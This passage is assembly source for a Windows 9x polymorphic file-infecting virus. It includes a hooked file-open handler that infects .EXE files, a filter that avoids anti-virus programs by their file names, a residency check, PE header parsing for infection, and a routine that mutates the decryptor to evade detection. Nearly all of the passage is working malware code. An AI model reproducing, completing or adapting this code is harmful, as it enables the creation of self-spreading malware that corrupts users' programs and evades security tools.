jmp Original_VxDInt30Handler ;Go to original handler
|
|
|
|
Extended_File_Open:
|
|
;Prevent Re-entrancy
|
|
@OFFSET eax, VxDCall_Busy
|
|
mov byte ptr [eax], TRUE
|
|
|
|
push esi
|
|
call IsFilenameOK, esi
|
|
pop esi
|
|
or eax, eax
|
|
jz File_Not_Executable
|
|
|
|
;Do Stuff
|
|
;call OutputFileName
|
|
call InfectFile, esi
|
|
|
|
File_Not_Executable:
|
|
;Finished Processing
|
|
@OFFSET eax, VxDCall_Busy
|
|
mov byte ptr [eax], FALSE
|
|
|
|
Exit_VxDInt30Handler:
|
|
popad ;Restore, before transfering control
|
|
|
|
Original_VxDInt30Handler:
|
|
;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
|
|
DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX]
|
|
OldInt30Address: ;The following 4 bytes will be replaced by the
|
|
DB 4 DUP (0) ;address of OldInt30 in memory.
|
|
;ret ;Not required, since we're jumping out
|
|
VxDInt30Handler ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | IsFilenameOK | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function checks if the filename is OK for infection or not. If the
|
|
; filename meets any of the folling criteria, this function returns a
|
|
; failure.
|
|
; * Filename is less than 5 characters. This is checked, because
|
|
; we are infecting only .EXE files, so the minimum length of such
|
|
; a file is 5 characters
|
|
; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
|
|
; comparison is case insensitive
|
|
; * The filename must NOT consist of any of the following pairs of
|
|
; characters, viz., "AV", "AN", "F-". This is done to prevent
|
|
; infection of Anti-Virus program files.
|
|
;
|
|
; Arguments
|
|
; -> ife_szFilename: Address of the buffer where the filename is stored
|
|
;
|
|
; Return Value:
|
|
; -> EAX: 1 if the filename is OK, 0 otherwise
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;___________________________________
|
|
IsFilenameOK PROC ife_szFilename
|
|
LOCAL szExtention[4]:BYTE
|
|
|
|
;Check Filename Length
|
|
mov esi, ife_szFilename
|
|
call StringLength, esi ;Get length of filename
|
|
cmp eax, 4 ;Is File name less than 5 characters (.EXE)
|
|
jl Error_IsFilenameOk ;Yes, Don't infect
|
|
push eax ;Save Length of Filename
|
|
|
|
;Get File Extention
|
|
mov eax, [esi + eax - 4] ;File Extention (including ".")
|
|
lea edx, szExtention ;Get Address of Extention Buffer
|
|
mov [edx], eax ;Store extention in buffer
|
|
|
|
;Convert to upper case
|
|
mov ecx, 3 ;3 characters to be converted
|
|
ToUpperCase:
|
|
inc edx ;Don't have to check "." for upper case
|
|
cmp byte ptr [edx], "a"
|
|
jl NextCharacter
|
|
cmp byte ptr [edx], "z"
|
|
jg NextCharacter
|
|
sub byte ptr [edx], "a" - "A" ;Convert to upper case
|
|
NextCharacter:
|
|
loop ToUpperCase
|
|
|
|
pop ecx ;Get Length of Filename
|
|
|
|
;Check the Extention
|
|
IF DEBUG
|
|
cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
|
|
ELSE
|
|
ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble
|
|
cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only)
|
|
ENDIF
|
|
jne Error_IsFilenameOk ;No, Extention doesn't match
|
|
|
|
;Check Anti-Virus Program Files
|
|
dec ecx ;Since we're checking 2 char, last char not reqd
|
|
CheckAntiVirusFiles:
|
|
cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte)
|
|
je Error_IsFilenameOk
|
|
cmp word ptr [esi], "va"
|
|
je Error_IsFilenameOk
|
|
cmp word ptr [esi], "-F" ;"F-"; for F-PROT
|
|
je Error_IsFilenameOk
|
|
cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN
|
|
je Error_IsFilenameOk
|
|
cmp word ptr [esi], "na"
|
|
je Error_IsFilenameOk
|
|
inc esi ;Next Character
|
|
loop CheckAntiVirusFiles ;Check All
|
|
|
|
xor eax, eax
|
|
inc eax
|
|
jmp End_IsFilenameOk
|
|
|
|
Error_IsFilenameOk:
|
|
xor eax, eax
|
|
|
|
End_IsFilenameOk:
|
|
ret
|
|
IsFilenameOK ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
OutputFileName PROC
|
|
LOCAL dwFilename:DWORD, \
|
|
dwDeltaOffset:DWORD
|
|
|
|
mov [dwFilename], esi
|
|
@DELTA esi
|
|
mov [dwDeltaOffset], esi
|
|
|
|
;Create File to write into
|
|
mov edx, [dwDeltaOffset]
|
|
add edx, offset szOutputFile
|
|
mov esi, 0BFF77ADFh
|
|
call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
|
|
0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
je End_OutputFileName
|
|
|
|
;Go to end of file
|
|
push eax ;Save Handle
|
|
mov esi, 0BFF7713Fh ;SetFilePointer
|
|
call esi, eax, 0, 0, 2
|
|
pop eax ;Restore Handle
|
|
|
|
;Get Length of FileName
|
|
push eax ;Save Handle
|
|
mov edx, [dwFilename]
|
|
mov esi, 0BFF773ADh ;lstrlen
|
|
call esi, edx
|
|
mov ebx, eax ;length of filename
|
|
pop eax ;Restore Handle
|
|
|
|
;Write Into File
|
|
push eax ;save handle
|
|
push eax ;Create Buffer, used for number of bytes written
|
|
lea ecx, [esp - 4]
|
|
mov edx, [dwFilename]
|
|
mov esi,0BFF76FD5h ;WriteFile
|
|
call esi, eax, edx, ebx, ecx, 0
|
|
pop eax ;Remove Buffer
|
|
pop eax ;restore handle
|
|
|
|
;Close File
|
|
mov esi, 0BFF7E064h
|
|
call esi, eax
|
|
|
|
End_OutputFileName:
|
|
ret
|
|
OutputFileName ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | IsVirusActive | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function returns 1 if the virus is active in memory, else returns
|
|
; 0. This function also saves the address of the VxDCall API.
|
|
;
|
|
; Arguments
|
|
; -> None.
|
|
;
|
|
; Return Value:
|
|
; -> EAX: 1 if the Virus is Resident. 0 otherwise
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;_________________
|
|
IsVirusActive PROC
|
|
call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API
|
|
test eax, eax ;Found Address ?
|
|
jz End_IsVirusActive ;No, Return 0
|
|
|
|
;Save address of VxDCall API
|
|
@OFFSET ebx, VxDCall
|
|
mov [ebx], eax ;Save Address
|
|
|
|
;Check if Virus is Already Resident
|
|
@CALL_INT21h RESIDENCY_CHECK_SERVICE
|
|
xor eax, eax ;Assume not resident
|
|
cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident
|
|
jne End_IsVirusActive ;No, return 0
|
|
inc eax ;Yes, return 1
|
|
|
|
End_IsVirusActive:
|
|
ret
|
|
IsVirusActive ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | GetFileHeaders | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function retreives the address of various file headers, viz.,
|
|
; Image File Header, Image Optional Header, Last Section Header,
|
|
; Image Export Directory. The function fails if the specified file is
|
|
; not a Portable Executable (PE) file
|
|
;
|
|
; Arguments
|
|
; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
|
|
; required.
|
|
;
|
|
; Return Value:
|
|
; -> EAX: Address of the Image File Header, or 0 if the function failed
|
|
; -> EBX: Address of the Image Optional Header
|
|
; -> ECX: Address of the Last Sections Header
|
|
; -> EDX: Address of the Image Export Directory
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;_______________________________________
|
|
GetFileHeaders PROC gfh_dwFileBase:DWORD
|
|
LOCAL dwIOH:DWORD, \
|
|
dwIED:DWORD, \
|
|
|
|
mov esi, [gfh_dwFileBase]
|
|
cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ?
|
|
jne Error_GetFileHeaders ;No
|
|
|
|
;Check for PE Signature
|
|
add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
|
|
cmp dword ptr [esi], "EP" ;PE File ?
|
|
jne Error_GetFileHeaders ;No
|
|
|
|
;Get Image Optional Header
|
|
add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header
|
|
push esi ;Save Image File Header
|
|
add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header
|
|
mov [dwIOH], esi ;Save
|
|
|
|
;Get the Address of the Image Export Directory
|
|
mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory
|
|
add esi, [gfh_dwFileBase]
|
|
mov dword ptr [dwIED], esi
|
|
|
|
;Get Address of Last Section Header
|
|
pop esi ;Get Image File header
|
|
movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
|
|
add ecx, [dwIOH] ;Address of First Section Header
|
|
movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
|
|
dec eax ;Number of Sections - 1
|
|
imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
|
|
;mov ebx, SIZE IMAGE_SECTION_HEADER
|
|
;mul ebx ;Size of All Section Headers
|
|
add ecx, eax ;Address of Last Section Header
|
|
|
|
;Return Header Values
|
|
mov eax, esi ;Image File Header
|
|
mov ebx, [dwIOH]
|
|
mov edx, [dwIED]
|
|
|
|
jmp End_GetFileHeaders
|
|
|
|
Error_GetFileHeaders:
|
|
xor eax, eax ;Error, Return 0
|
|
|
|
End_GetFileHeaders:
|
|
ret
|
|
GetFileHeaders ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | MutateDecryptor | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function modifies the registers used in the decryptor, to make it
|
|
; polymorphic. The decrypor uses two registers; one as an index, and the
|
|
; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
|
|
; used as random registers. The opcodes are generated in the following way.
|
|
; First the opcode is calculated using register EAX; e.g. the opcode for
|
|
; POP EAX is 58h. To generate the opcodes for the other registers, we add
|
|
; the number of the register. The number for EDX is 2. Adding this to 58h,
|
|
; we get 5Ah, which is the opcode for POP EDX
|
|
;
|
|
; Arguments
|
|
; -> EDI: Start of decrypor that need to be mutated
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> AX, BL
|
|
;___________________
|
|
MutateDecryptor PROC
|
|
;Get Two Random Registers
|
|
call RandomRegister ;Get First Register Number
|
|
mov ah, al ;Save It
|
|
GetAnotherRegister:
|
|
call RandomRegister ;Get Second Register Number
|
|
cmp ah, al ;Is it the same as First
|
|
je GetAnotherRegister ;Yes, get another one
|
|
|
|
;Modify Decryptor, so that it uses the new registers
|
|
mov bl, 58h ;Change "pop <register1>"
|
|
add bl, al ;Register 1
|
|
mov byte ptr [edi + 5], bl
|
|
mov bl, 0C0h ;Change "add <register1>, ..."
|
|
add bl, al ;Register 1
|
|
mov byte ptr [edi + 7], bl
|
|
mov bl, 0B8h ;Change "mov <register2>, ..."
|
|
add bl, ah ;Register 2
|
|
mov byte ptr [edi + 9], bl
|
|
mov bl, 30h ;Change "xor byte ptr [<register1>], ..."
|
|
add bl, al ;Register 1
|
|
mov byte ptr [edi + 15], bl
|
|
mov bl, 40h ;Change "inc <register1>"
|
|
add bl, al ;Register 1
|
|
mov byte ptr [edi + 17], bl
|
|
mov bl, 48h ;Change "dec <register2>"
|
|
add bl, ah ;Register 2
|
|
mov byte ptr [edi + 18], bl
|
|
|
|
ret
|
|
MutateDecryptor ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | RandomRegister | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
|
|
; these values is used to identify a register.
|
|
; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
|
|
;
|
|
; Arguments
|
|
; -> None.
|
|
;
|
|
; Return Value:
|
|
; -> AL: Random number (0, 1, 2, 3, 6 or 7)
|
|
;
|
|
; Registers Destroyed
|
|
; -> AL
|
|
;__________________
|
|
RandomRegister PROC
|
|
NewRandom:
|
|
in al, 40h ;Get Random Number
|
|
and al,00000111b ;Maximum value 7
|
|
cmp al, 4 ;Should not be 4...
|
|
je NewRandom
|
|
cmp al, 5 ;...or 5
|
|
je NewRandom
|
|
ret
|
|
RandomRegister ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | End Of Virus Code | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
VIRUS_SIZE EQU $ - offset StartOfVirusCode
|
|
ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode
|
|
LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE
|
|
VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1
|
|
END StartOfVirusCode
|